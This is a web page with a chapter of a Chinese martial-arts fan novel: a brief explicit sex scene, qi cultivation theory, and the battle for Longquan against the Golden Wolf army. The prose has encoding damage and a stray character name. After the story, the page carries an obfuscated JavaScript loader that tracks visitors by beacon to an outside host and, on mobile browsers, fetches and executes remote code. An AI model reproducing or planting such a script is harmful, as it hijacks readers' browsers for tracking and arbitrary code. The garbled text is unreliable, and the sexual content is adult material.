单美仙微微一笑,轻拍元越泽后背几下,淡淡道:“我们所作所为并非为了被人知道或是歌颂,秀芳今晚就睡在这�吧。”

模煳间,尚秀芳仿佛看到了自己的娘亲再世,心中涌起一股熟悉的孺慕感,简单褪去外衣,钻入被窝,将螓首舒服地靠在单美仙的臂弯,沈醉在温馨的气氛�。

元越泽醒来时,窗外已现微白,他只觉灵台澄明,浑身舒泰,疲惫尽去,元气充足。他身边的单美仙发出轻美匀的唿吸声,睡得又香又甜,尚秀芳蜷睡在她怀�,嘴角犹挂着一丝微笑,神态动人至极。

不知想起了什么,元越泽突然皱起眉头,许久才舒缓开来,脸上同是露出恍然的神色。

单美仙睁开朦胧美眸,浅笑轻声道:“夫君终于想通了。”

元越泽轻凑上去,以脸容摩擦着她娇嫩滑腻的脸蛋儿,咬着她的小耳道:“贤妻想煞我也!”

只这一句,足以引发二人体内压抑着的最原始冲动。

耳鬓厮磨中,元越泽无声地吻上单美仙的香唇,单美仙热烈反应着。

为免吵醒尚秀芳,二人动作几乎发不出半丝声响,那种无声胜有声的恋栈,更具销魂的动人感染力。灵感上升到最巅峰的顶点时,二人身体同时抖颤,片刻后方停息下来,身体却依旧紧密地连接在一起,只有这样,才能表达出他们对彼此的思念。

单美仙喘息尚未平复下来,本就一片红霞的俏脸突然变得更红,拍了一下将头埋在她胸前的元越泽,使了个眼色。

元越泽做了个明白的表情,从她身上滑过去,一把将尚秀芳抱紧,嘿嘿笑道:“秀芳早!”

尚秀芳娇躯一震,羞得把螓首深埋入元越泽赤-裸的肩膊处,说什么也不�起来。

原来她早就醒了,因害羞而假寐,岂知依旧没逃过单美仙的耳朵。单美仙倒没多大反应,只因这么多年来,她早习惯了元越泽的各种荒唐,尚秀芳虽见多识广,可这种场合依旧教她窘迫得无以复加,恨不得找个地洞钻进去才好。

元越泽用嘴轻擦着她的粉颈,展开柔情挑-逗手段,不消片刻,尚才女已像失去了所有力气般融化在他的怀�。

连半盏茶的时间都没坚持到,情迷意乱,小嘴乱喊的尚秀芳就被送上云霄。

元越泽抱着两具美丽动人的胴-体,与她们说起亲密话儿。

当日单美仙在元越泽动身后亦出发到扬州,接着在长江入海口处发现运送大批武器的东溟派船只,单美仙只身上船,与亲自押货的尚公见了一面,单美仙指责尚公与邪教勾结,只会将东溟派陷入万劫不复的境地,尚公积压多年的怒火和杀子之仇被激起,竟派人伏击单美仙,被单美仙轻松收拾后,尚公为保命,只有以交出东溟派大权为筹码,后单美仙放他离去,这些年来单系一族人饱受尚系打压,对单美仙重掌大权十分支持。经过询问,单美仙才知这批货是要沿长江偷运到成都与李唐太子李建成交易的,单美仙当机立断,将大批武器通过扬州运回给洛阳军和少帅军,自己亲帅两船精兵,沿海北上,支援元越泽,于是就有了昨晚义救小龙泉之举。

末了,单美仙又道:“我还带了八台最新式的守城巨弩,可以送给粟末人。”

元越泽低头香了一口她的秀额,感慨道:“家有仙妻,生活太美好啦!”

单美仙只是微微一笑。

经过刚才的事,二女一下子变得亲密许多,尚秀芳平复下来,亦对单美仙的各种手段周全决策佩服不已,接着像突然想起什么事似的,疑惑道:“刚刚美仙阿姨说夫君想通了,想通的是什么呢?”

元越泽坏笑道:“原来秀芳那个时候就已醒了!”

二女同时脸红,下手开始为他“按摩”打闹几下后,元越泽才停下来,道:“我想通的是我为什么在四大圣僧围攻下都不能突破天人限制。”

单美仙解释道:“秀芳可知先天真气和后天真气区别?”

尚秀芳虽得传绝学,奈何本人对武学根本不感兴趣,所以学了一点就荒废了,不过单美仙的问题却是大众化的,尚秀芳当然也有所了解,闻言点头道:“秀芳也曾读过道家书籍,上面说,人在母体内时,胎儿置于羊水中,尚无法用口鼻唿吸,全凭脐带送来母亲的养份,当时任督二脉是贯通的,先天之气运转任督小周天。婴儿出生之后,与母体联系断绝,后天之气从口鼻进入,任督二脉逐渐封闭,至乎闭塞,再难吸收先天之气分毫。先天真气虽仍充盈天地之间却苦于无法吸摄。所以修道者修的无非是返本归源之道,先要打通任督二脉,以吸收天地精气,所谓‘夺天地之精华’,成为宇宙母体内的胎儿。可是吸收的能量也有高下之别,要看修道者本身的资质和修炼的方式。稍有差她,先天之气将变成后天凡俗之气,况且修练过程艰苦困难,所以修得先天之气者,万不得一,均成不可多得的高手宗师。”

单美仙赞许道:“简单来说就是后天乃有为而作,限于体质,可从精进励行,有为而作�求取进步;先天只能无意得之,无为而作,夺天地之精华,能吸取天地自然的力量,无穷无尽,这也是先天秘境为何如此珍贵罕有。”

尚秀芳疑惑地瞧着二人,会说话的大眼睛仿佛在询问这与元越泽能否突破天人之境有何关系似的。

元越泽解释道:“先天真气循环往复,取之不竭,境界却也有高低之分,修练过程更是一条漫漫长路。我昨晚被金狼军拖垮,当时就产生了疑问:难道是我的先天真气境界不足?却又不太像,今早醒来时,突然醒悟。”

单美仙接口道:“夫君明白的是我们的真气现在正处在真假先天之间,真先天指的是宙开始前至混混沌沌的精至纯之气,假先天则是指宇宙形成后的精至纯之气,高低立判,形成这一切的原因正是夫君的古怪练气法门,后天宇宙的元气都被我们淬炼,但我们却还以后天宇宙的行气方法去使用这些元气,自然无法达到最好的效果。昨晚夫君被突厥军耗至虚脱,就是最好的证明。”

元越泽道:“玉妍由于修的是出自后天宇宙的种魔大法与天魔大法,所以能这样快便向回归到天地万物由其而来那最原本的力量方向踏出半步。从今天起,我们要仔细研究一番,争取可以摸索出真正适合我们真气的路线。”

单美仙轻轻颔首,尚秀芳则是似懂非懂地点了点头。

又叫出其他几女,她们听说元越泽昨晚的经历,说什么也要跟在他身边,这教他大唿头痛,好在有单美仙这老大姐在,几女都答应暂时陪尚秀芳住在皇宫解闷。

元越泽突然想起单美仙所说有黑狼军混在金狼军中偷袭小龙泉一事,心觉不妥,着单琬晶饭后出城,望突利那个方向去探察消息,由于金狼军兵临城下,龙泉与西、南两个方向的联系已被切断。

门外突然传来宗湘花来唤几人用早膳的声音。三人起身穿戴妥当,一行人唿唿拉拉走出门外。

宗湘花好奇地打量着元越泽几眼,道:“公子体质令人佩服,只一晚竟可恢复得这样好,三位请!”

对于尚秀芳也出现在这�,她没有半分惊讶,只因粟末高层领导们都已知晓二人关系。

众人先去问候了一下跋锋寒和任俊,跋锋寒一晚已恢复八成战斗力,任俊或许是由于拼得太猛,只能勉强下地,看着被其其格扶着时,他傻笑的样子,元越泽几人同时失笑。

用过早膳后,单琬晶独自潜出城。元越泽、单美仙、跋锋寒在革爰等人陪同下来到城墙上观望。

颉利本是一句挖苦的话,现在已成事实,经过昨晚一战,元越泽在龙泉的地位又上一个新台阶,许多百姓都聚集在朱雀大街上,神色崇慕地目送他们一行人南行。

说话间,众人已来到城墙上,革爰边走边赞道:“夫人带来那几张巨弩做工精巧,可缓解我们不少压力。”

元越泽望过去,原来粟末战士昨晚已将八架重型弩弓机安装完毕,城南,城西各有四台,这种弩弓机是东溟派的最新产品,可连射七枝巨箭,射程最少也可到一千步,虽移动不方便,以之守城却是最好的了。

元越泽心忖不知鲁师会否研究出科技含量更高的守城弩机呢?

革爰见单美仙左右环顾后微颦黛眉,便道:“夫人是否察觉有何不妥?”

单美仙沈吟道:“龙泉的防御力量太薄弱了,单以坚固程度看,连中原的竟陵都不如。”

客素别在一旁尴尬道:“敌人来势汹汹,我们也没有时间加固城墙,否则守上个一年半载也不成问题。”

单美仙点头道:“守城之要,首在上下一心,视死如归;次则组织得当,人尽其用;三须防御充足;四要粮食无缺,最后则是以攻代守的劫寨。我们眼下惟一的弱点是城墙虽不够高,不够坚厚,却可通过劫寨来缓解压力,否则给对方攻到城下,就输定了。”

元越泽放眼远眺,一望无际的湄陀平原上,金狼军阵容整齐,比昨晚分散了许多,密密麻麻地营帐遍布大地,每个营地附近都有人正忙碌不停,砍伐树木建造攻城的各式工具。

昨晚是他最落魄的一晚,他第一次体会到一个人在战争面前是多么的渺小,除非修为到达向雨田那级别,否则没人能抗得住有若汹涌汪洋的虎狼之师。亲身体会过金狼军的凶悍,更令知晓中土再有五十年,也练不出那样厉害的骑兵团队,若非有坚固的城池,中土早给突厥的铁蹄踏遍每一寸的土地。

革爰笑道:“劫寨正是我们强项,所以颉利必败。”

几人都明白他的意思,纷纷笑了起来。

第140章死守孤城

元越泽却叹道:“可惜奇兵起不到作用了。”

几人皆知他意,只看昨晚颉利的计谋,就可推测出颉利绝非铁弗由、阿保甲那类轻敌的人,反是把元越泽的策略摸了个透。客素别二人同时感到无奈,劫寨讲究的就是出奇兵,若奇兵无用,劫寨效果也好不到哪�去。想到这�,二人齐齐望向单美仙。

单美仙仿佛察知二人的心意,摇头道:“按夫君的描述推测,以我目前的实力,恐怕也难以成功实行‘斩首计划’。”

接着瞟了一眼面露失望神色的二人,浅笑道:“小规模奇兵偷袭确实再难有作为,可是我们可以改为大规模出击,由夫君和锋寒带领,试问哪个金狼军战士不畏惧三分?若能支撑到琬晶带回突利的消息,又或是娘亲到来,万军中取颉利头颅将如探囊取物。”

祝玉妍在长安一战后因踏出半步“仙路”而一跃成为三大宗师之首,单美仙既然这样说了,客素别二人亦是默默点头,眼下只有死撑下去,等待这两股强援的到来。

革爰苦笑道:“往年的这个时候,龙泉总是大雨倾盆,今年反倒是晴空万�,否则主动不会这样从我们手上流失掉。”

拜紫亭选在四月立国,主要就是因为四月是东北最多雨的季节,利守不利攻。若他今天还活着,看到眼前的场景,不知会做何感想。

单美仙环顾道:“壕沟是龙泉的主体防御,若我猜测不错,金狼军在攻城器具不足的情况下暂时不会主动进攻,我们可派人到城下将壕沟挖得再深再阔一些,甚至还可以在我们箭矢可及范围内挖出些暗坑,革将军运来的石块可以于投石机旁暂时搭成碉堡形状,起码可以防御敌人的前几波箭矢,又不影响它们的其他用途。我有些训练战士的心得,刚刚沿路发现宗侍卫长似乎是在招募新兵吧,革将军可否带我过去一观?”

革爰立即点头,这些事情他都不是想不到,只是手下可用出谋划策的人手少得可怜,一个人忙碌起来根本照顾不过来。可这东溟夫人本事神奇,想法策略更是比元越泽周全得多,且人又细心,比如元越泽与跋锋寒就完全没有注意到大街上这么细微的动作。

客素别二人分别下去指挥人手,元越泽与跋锋寒则是并肩站在城墙上继续远眺,功聚目力细瞧过去,只见金狼旗在远处的山头随草原的微风飘扬,漫山遍野的突厥战骑有如汹涌的汪洋,将他们一望无际的平原淹没。金狼军分成一队队的,再由不同组合的队伍组成更大的作战单位,遍布所能见到的大草原每一个战略点,形成一张笼罩赫连堡的天罗地网,鼎盛的军容,足可令人丧胆。

跋锋寒道:“元兄亲身体验过大草原骑射战的威力,有何感想?”

元越泽沈吟片刻,道:“孙膑曾言‘夫骑者,能离能合,能散能集;百�为期,千�而赴,出入无间,故名离合之兵也’,又云‘一曰迎敌始至;二曰乘虚败敌;三曰追散击乱;四曰袭敌击后,使敌奔走;五曰遮其粮食,绝其军道;六曰败其关津,发其桥梁;七曰掩其不备,卒击其未振之旅;八曰攻其懈怠,出其不意;九曰烧其积聚,虚其市�;十曰掠其田野,俘其子弟。此十旨,骑战之利也’。草原铁骑当得起‘疾如锥矢,战如雷电,解如风雨’,中原人的骑兵素质就要差上太多了。”

说话间,客素别已指挥一队队自发帮忙的百姓们开始在城墙上下各自忙碌起来。

跋锋寒点头道:“这是受自然条件影响形成的,草原人所处自然环境的恶劣和生活水平的落后,使得我们经过自然选择活下来的人普遍英勇善战,忍耐力强于其他地方的人。反观中原各方面条件都要好上许多,嘿!和中原战国末期的秦国和楚国有些相似。”

顿了顿,又道:“平原战争之要,无非就是‘急疾捷先,后之发,先之至’。孙膑所说骑战的十利,讲明了骑兵奇袭冲锋的作用。既可以乘虚直入,乘胜追击,出其不意,攻其不备;又可以包抄后路,破坏后方。而颉利的金狼军之骑射正是大草原最强的骑兵团,他们来如火去如风,教人防不胜防。若非我们昨晚的表现严重打击到他们的士气,恐怕他们早攻了上来,根本不会像眼前这样准备其他攻城器具般谨慎。”

元越泽大笑道:“昨晚正是攻击我们的最好时机,岂知颉利太过谨慎,反是失去了此等良机。”

跋锋寒亦笑道:“兵愈多者力愈弱,饷愈多者国愈贫。这道理虽然无法用在颉利身上,可他们的主要来源都是席卷大草原,眼下驻扎起来,消耗非常大,自然不会打持久战,他们今天开始全力在造攻城器具,而没有派人出来连番以声势恐吓,可见颉利心态之一斑。战场上不但要斗勇力,还要斗智计,事实上主动依旧在我们手上。”

孙子兵法有云“兵者,诡道也”换言之,谋略正是一种高明的骗术,在精确掌握客观情势,敌我实力和心态后,始“谋定后动”、“能而示之不能”、“近而示之远”欺敌骗敌诈敌后克敌。跋锋寒的话深谙兵家要旨。

元越泽环顾四周,城墙上已有士兵在搭建临时的碉堡,这种简陋的临时堡垒只留下孔穴供弩弓射箭之用,虽称不上坚固,却可抵御住敌人的前几波箭雨,又可随时推倒被用做飞石,已将作用发挥至最大。城墙下方的沟壕则被沿着加深加宽,掘出的土就堆于壕沟的前方,加石填筑,变成了一道高若半丈的矮土墙,上涂火油,前方又有人开挖两排陷马坑,无形中增加了龙泉本身的防御力,更可借此消灭不少敌人的先头部队。最妙处是这些临时防御措施根本不用浪费多少时间,在人力足够的情形下,个把时辰已可完成。

颉利方面发觉到龙泉城下的异动,分出大部军队开始示威,但龙泉士气不但恢复,且更上新高峰,对于金狼军的行为,城下人是继续忙碌,城上方则实验了几把单美仙带来的巨型弩箭机,间或有元越泽和跋锋寒掷石子,射箭,干掉不少突厥战士,更令龙泉墙头上爆出一阵阵呐喊和喝彩。

二人一直没有离开,午饭都是在城墙头用的,与周围的粟末战士打成一片。

客素别亲自送来酒菜,二人对饮数杯后,跋锋寒望向远处,道:“最迟黄昏十分,颉利就会发动第一波大规模进攻。”

元越泽与附近粟末战士们望下去,只见湄沱平原上的树木大都被砍伐干净,金狼军则是全体动员,修枝去叶,在只余丈许的树干后,将尖端削尖,五六支一组,以绳索或木钉捆扎成排。还有一些战士将成长多年的巨树噼开,以之造成大型的木盾。这些临时器具对攻城作用极大,可以有效的减少守城一方飞箭、檑石能够造成的伤害。

元越泽微微一笑,请一名粟末战士去看单美仙和革爰的训兵成果。因正规军一半都被派往守护小龙泉和城市北方,所以临时招募的生力军就成了龙泉的主力。

单美仙借鉴明嘉靖年间的游击将军何良臣所撰的《阵纪》再改良鲁妙子自创的梅花大阵,临时想出一种适合这些新军的阵法,新军共一万多人,单美仙将他们分成十组,每组千人,各由偏将统领,总统领则是革爰,又为元越泽二人在其下安排了两个虚职。

元越泽、跋锋寒、革爰三人正准备带领其中五组人出去骚扰时,神采飞扬,丝毫没有早饭时虚弱模样的任俊来了,请求一同出战。

元越泽笑骂道:“混蛋,是否把你嫂子当成了免费的和氏壁!”

任俊脸一红,继而坚决地道:“嫂子们也不想大哥有危险,何况小弟也想尽自己一分力。”

跋锋寒道:“我看你是想找机会干掉颉利,讨其其格欢心。”

任俊脸更红,周围人哄堂大笑。

西城门大开,五千余人冲了出去。

这次行动经过筹划,元越泽几人虽依旧冲在第一线,却是圆滑许多,不再冒进,而且他们主要是为破坏敌人的攻城器具而来,待到周围分散的敌人围上来时,元越泽等人早已破坏掉一部分器具,抽身疾退,继而又发动了三五次偷袭。

我退使敌不知我之所守,我进使敌不知我之所攻。此之谓也。

《阵纪》四卷五万许字,强调“战机”的重要性,主张待机而动,因势利导,灵活用兵。其核心战略思想早为洛阳军、少帅军、宋阀军一众将领们所接受。元越泽对此书极为推崇,他到龙泉后所采取的军事策略几乎都是改良自此书。

一下午时间,粟末新兵只死伤六百多人,不但在元越泽等人带领下杀掉过千分散开的金狼军,更将城西的突厥攻城器具破坏大半,消息传回汗营时,气得颉利破口大骂。

太阳降至西边地平线上,夕阳在中天君临无涯无际的草原,铺红缀绿的湄沱平原蒙上一层淡红的霞彩,和风吹拂,像一幅刺绣风景的帛卷,内中却是危机四伏。

元越泽一众人登上城西南角的城墙,查看形势。

“咚咚咚!”

尚未等他们有人开口说话时,震天动地的突厥战鼓声由四面八方传来。

跋锋寒望着天际火红的霞光,淡淡道:“朝霞风,晚霞雨,两天内必有一场大雨,颉利已被迫上绝路,不得不攻了。”

龙泉众将领们神色肃穆,却没有慌乱,元越泽几人已通过表现证明了他们的实力,众人坚信,只要有他们在,龙泉就不会失守。

当信念上升到一个盲目狂热的高度后,人的精神已可驾驭一切。

最后一抹夕阳消没,大战一触即发。

漫山遍野都是突厥军的灯火,只见金狼军阵容整齐,于城西城南半路处聚集大批兵力,成四方形军阵,最前头的数千人举着高及人身,底部削尖的巨型木盾,可插入土内,借力抵挡矢石的攻击,将中间几辆撞击城墙城门的檑木冲车团团护住。两翼的战士们则是顶着一排排阔约两丈的木排,木排顶挂了风灯,照得周围一片通明。后面排列的则是大批手持强弓的远程攻击手,然后才是提着长钩、矛、戟等长兵器的突厥战士,阵容鼎盛,教人见之心寒。

在浩浩荡荡的军阵斜后侧,另有数百突厥步兵手持锄铲等工具,看样子是为破去城下的障碍,填平装有尖刺的陷坑而设。

这样的布置,令人想到无论龙泉方面出城主动迎战还是死守城关,都无法敌挡得过敌人这瓮中捉鳌的战术。

元越泽注意到湄沱湖沿岸漆黑一片,全无动静,便道:“颉利也不是个蠢蛋,明白到骑兵对攻城作用极小,所以分出大半兵力转为步兵,大家有否觉得他会在湄沱湖附近安排伏兵?”

革爰沈吟道:“颉利知道我们很有可能不会死守,若在我们出城迎击的当儿,忽然由那�杀出大批生力军来,必可突破我们的坚固防线,甚至一鼓作气攻入城来。”

跋锋寒道:“颉利军阵过于简单,恐怕也有其他埋伏在等着我们。”

城外的战鼓声愈来愈急,显示敌人快要发动攻击。

战鼓声倏地没去,金狼军阵中爆发出震天的喊杀声,第一排的敌人开始前冲,每行进百步就停顿一下,到巨弩射程外的千步许时的,再不前进。

同时,城北和城东的半空处突然爆开两朵血红的火焰,光照大地。

客素别等人面色微变,这烟花火箭代表的是小龙泉和城北同时遭遇袭击的信号,可见颉利不但有一举荡平龙泉之心,更有这个实力。

元越泽面色沈着,冷然道:“那两方有美仙和宗侍卫长照顾着,大家不必担心。”

他话音尚未落,前方号角声再起,突厥战士全体呐喊,战马嘶叫,开始发动总攻,时鼓声雷动,杀声震天。

元越泽手腕轻震,邪剑如电射出,擎剑遥指天际,高声道:“此时不攻,更待何时!”

第一个冲下城墙,跃至南城门前。

跋锋寒嘬嘴尖啸,与任俊同时追随下去,落地瞬间,神骏的塔克拉玛干与另外一匹马儿已等候在大开的城门下,二人没有半分停歇地疾驰向前,守在西城门前方。

“砰砰砰!”

城墙上的远程弩箭机以居高临下之势开始发射,一支支巨型利箭射入敌阵。这巨箭经过革爰等人临时商议,在发射前尖端点火,虽数量上不占优,却可以火攻破掉敌人的木盾。果然,敌人木盾瞬间被燃起,攻势稍微受阻。

此刻龙泉城门外已聚集各近万人的军阵,元越泽、革爰守南方,跋锋寒、任俊守西方。

革爰一声暴喝,城上城下立即箭如雨发,由于失去一部分木盾的保护,又不得不硬着土皮进攻的突厥先头部队纷纷中箭倒地,也有一部分骑兵掉进布满尖刀的陷坑内。

龙泉城墙上鼓点也响起,革爰再次下令,粟末战士们热血沸腾,在前排盾牌兵的保护下,奋不顾身地结阵前行,杀入战团。

两军终于混战到一起。

一时间,喊杀和箭矢破空之声却不绝于耳,连鼓点声都被盖了过去。

一马当先的跋锋寒手上不见任何动作,却发出弓弦爆响声,一支劲箭射出,以肉眼难以看得清楚的高速,闪电般横过百步的距离,正中金狼军为首的一位降临,他身后的粟末战士们立即爆出震耳欲聋的喝釆。

任俊亦不甘寂寞,劲箭从铁弓疾射而出,横过数百步的距离,命中冲在最前排的一名突厥战士,贯胸而入,守卫惨叫一声,堕往马下。粟末战士们又爆出一阵欢唿喝采声,接着纷纷搭箭上弦,箭矢破空,各自瞄准的往冲来的敌人射去。尽管已有不少同胞在粟末战士的箭网下人仰马翻,其他突厥战士凶性毕露,依旧奋不顾身的前仆后继杀来。

短兵相交,一时数万人投入鏖战,杀得尸横遍野,血流成河。

元越泽左手握鞘负后,大步前行中,右手长剑吞吐不定,似攻若守,瞬间以将十数名突厥步兵砍翻。看到他的突厥战士们大都呆滞了一下,因为他的脚步是半踏在虚空上的,就和腾云驾雾差不多,可他每踏一步时,草原都似颤动一下,情景诡异莫名。

元越泽灵台澄明通透,一片无涯无际的寂静弥漫他的心田,自从今早明白到自己真气的特性后,除了因情而创的剑诀外,他把所有心法都忘记了,此刻的剑更是天然而发,灵感来自周围的冷风,火星,甚或是奔行中的战马。

跋锋寒、任俊、革爰均是身先士卒,见人便挑,杀得阵型转乱的敌人溃不成军。

半空中突然出现两条人影,漫天棍影和枪阵分别袭向元越泽与革爰。

元越泽微微一笑,他清楚地感觉到漫空棍影只是惑敌的招数,掩饰其真正的杀着,与是长剑斜指刺出,口中道:“你大明尊教被我杀得还不够惨吗?”

一声闷哼中,充天塞地的棍影倏地消散,只余下一片乌云似的黑影,一棍噼来。

“当!”

邪剑重重点上圆融的棍尖。

圆融察觉到元越泽猛催过来的绵绵如长江大河的沈雄真气,立时猛震后退,不敢再做纠缠。口中却道:“施主大难已临,贫僧是为你做最后一场法事而来。”

突厥军阵两翼突然传来更为响亮喊杀声,多队每组百人的骑兵,舞动大刀,弯弓搭箭的疾冲上来,声势骇人。

跋锋寒的预测是对的,左右两边的敌人就是颉利的后招之一。

那边的革爰已被深末桓缠死,眼下只有靠士兵对冲了,任谁也猜得到龙泉方面的危急。

元越泽长笑道:“管你什么出家人,你已非我对手!”

言罢腾身而起,飞临圆融上方,长剑毫不留情地向他展开攻击。

事实上圆融绝非弱手,甚至可与昨天的元越泽拼个不相上下,但昨天元越泽已展示过他变-态的身体和韧性,在圆融心底留下了一个抹不去的可怕阴影,更何况今天的元越泽突然有所悟,再做提升,通过刚刚的一剑,圆融已清楚感觉到对手比昨晚还要强横,心境自然难以守住。

武功到了他们这种层次,根本在招式上谁都胜不了谁,比拼的就是情神、意志、修养和战略。

“叮叮当当”剑棍交击之声不绝如缕的响起,元越泽的剑网带起冰寒彻骨的气流,弥漫在方圆十数丈内,令周围的突厥、粟末战士们浑身颤抖,神经接近崩溃的边缘。

无暇感叹对手的修为竟到了此等惊世骇俗的地步,圆融施尽浑身解数,勉强挡着。

最后一声清脆的声响过后,燕飞往后翻腾,落地瞬间又射向深末桓方向,不再理会圆融。

瞬间挡了元越泽十八剑的圆融衣衫尽湿,口鼻耳全逸出鲜血、浑身抖颤地呆立当场,与周围拼死拼活的情景格格不入。

他矮胖的身躯突然开始摇晃,接着猛喷一口鲜血,抽身飞速离开战场。

那边的深末桓正好发出一声惨叫,被元越泽拦腰砍成两半。

与革爰对视一眼,二人再度冲入战团。元越泽表情虽沈冷,却在感叹圆融命不该绝,若非为救即将死在深末桓枪下的革爰,元越泽绝不会将包含三十剑的一招减少为十八剑。

由于早接受过指示,所以粟末战士们专门针对突厥战士的马儿下手,战马不断被砍翻,马上威风凛凛的骑兵纷变滚坡葫芦,累得后来的人马纷纷堕跌,不但无法保持冲锋的阵形与锐气,更有大部分突厥战士直接死在乱蹄之下。

湄沱平原上血流成河,尸骨如山。对峙的双方却冲劲不减,呐喊声一阵高过一阵,像卷过大地的洪流,对撞搏击,情况惨烈。

经过近五个时辰的战斗,金狼军第一波攻击终于被击退。

粟末战士虽然在强凝的信心支持下表现出强大的攻击力,人人奋不顾身,损失依旧异常惨重,死伤近半,且人人筋疲力尽。金狼军损失虽然要以倍计,但他们人数较粟末军多出近十倍,这点损失算不了什么。饶是如此,元越泽等人如天降杀神般屹立不倒的无敌形象却已深深印如突厥每一个战士的心中。

龙泉一方连回气的功夫都还没有,突厥战鼓再起。

第一波敌人退却后,湄沱湖方向涌现过万敌军,在木盾、木排、挡箭车、樯木车、冲击车的掩护下,分由左右中三路攻来,发动第二个进攻的浪潮。

城门此刻大开,自发而出的百姓们纷纷来将重伤未死的战士运回城内医治。元越泽对着依旧在回气的革爰笑道:“颉利第一波大军没能碰到城门城墙,面子大失,第二波军队该是埋伏在湄沱湖旁的,此刻拉出来,可见颉利要在天亮前攻下龙泉了。”

革爰振臂高唿道:“死守龙泉!颉利必败!”

依旧有战斗力的战士们受到感染,纷纷高声回应。

就在圆融二人偷袭元越泽与革爰的时候,跋锋寒与任俊同样接受了来自暾欲谷和可达志的攻击。

看着飞速驰来的金狼军,任俊苦笑道:“不知我们还能坚持多久。”

跋锋寒仰首望天,指着星空中不知何时飘起的浮云道:“棉花云、雨快临。大雨将至,颉利亦是看准这点,才会这样疯狂的下令攻击。”

对视一眼,二人长笑起身,提起兵器向前冲去。

“轰!”

龙泉军败势渐成时,远处天际先闪电裂破天空,照得人人睁如盲,接着惊雷震耳,倏地那边天际变成翻滚混浊的黑云带,往龙泉上空铺掩过来。狂风雷电中,瓢泼大雨洒下,瞬间将所有火把打灭。

大雨横扫无边无际的汪洋,同时遮天盖地的席卷整个龙泉平原,狂暴的雷电在低压厚重的黑雨云间咆吼怒号,有摇山撼岳、地裂天崩的威势,显示出只有大自然本身才是宇宙的主宰,在这种狂暴的力量施威下,人类有多渺小和微不足道。

霹雳巨响衬着狂风暴雨,把人叫马嘶完全盖过。在令一切变得模煳不清、天地浑茫、有如噩梦深处的狂暴雨下,整齐的突厥阵容顿被冲得旗帜东倒西歪,溃不成军。


上一篇:和初中时的女朋友在房间里狂做爱

下一篇:东风破


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return 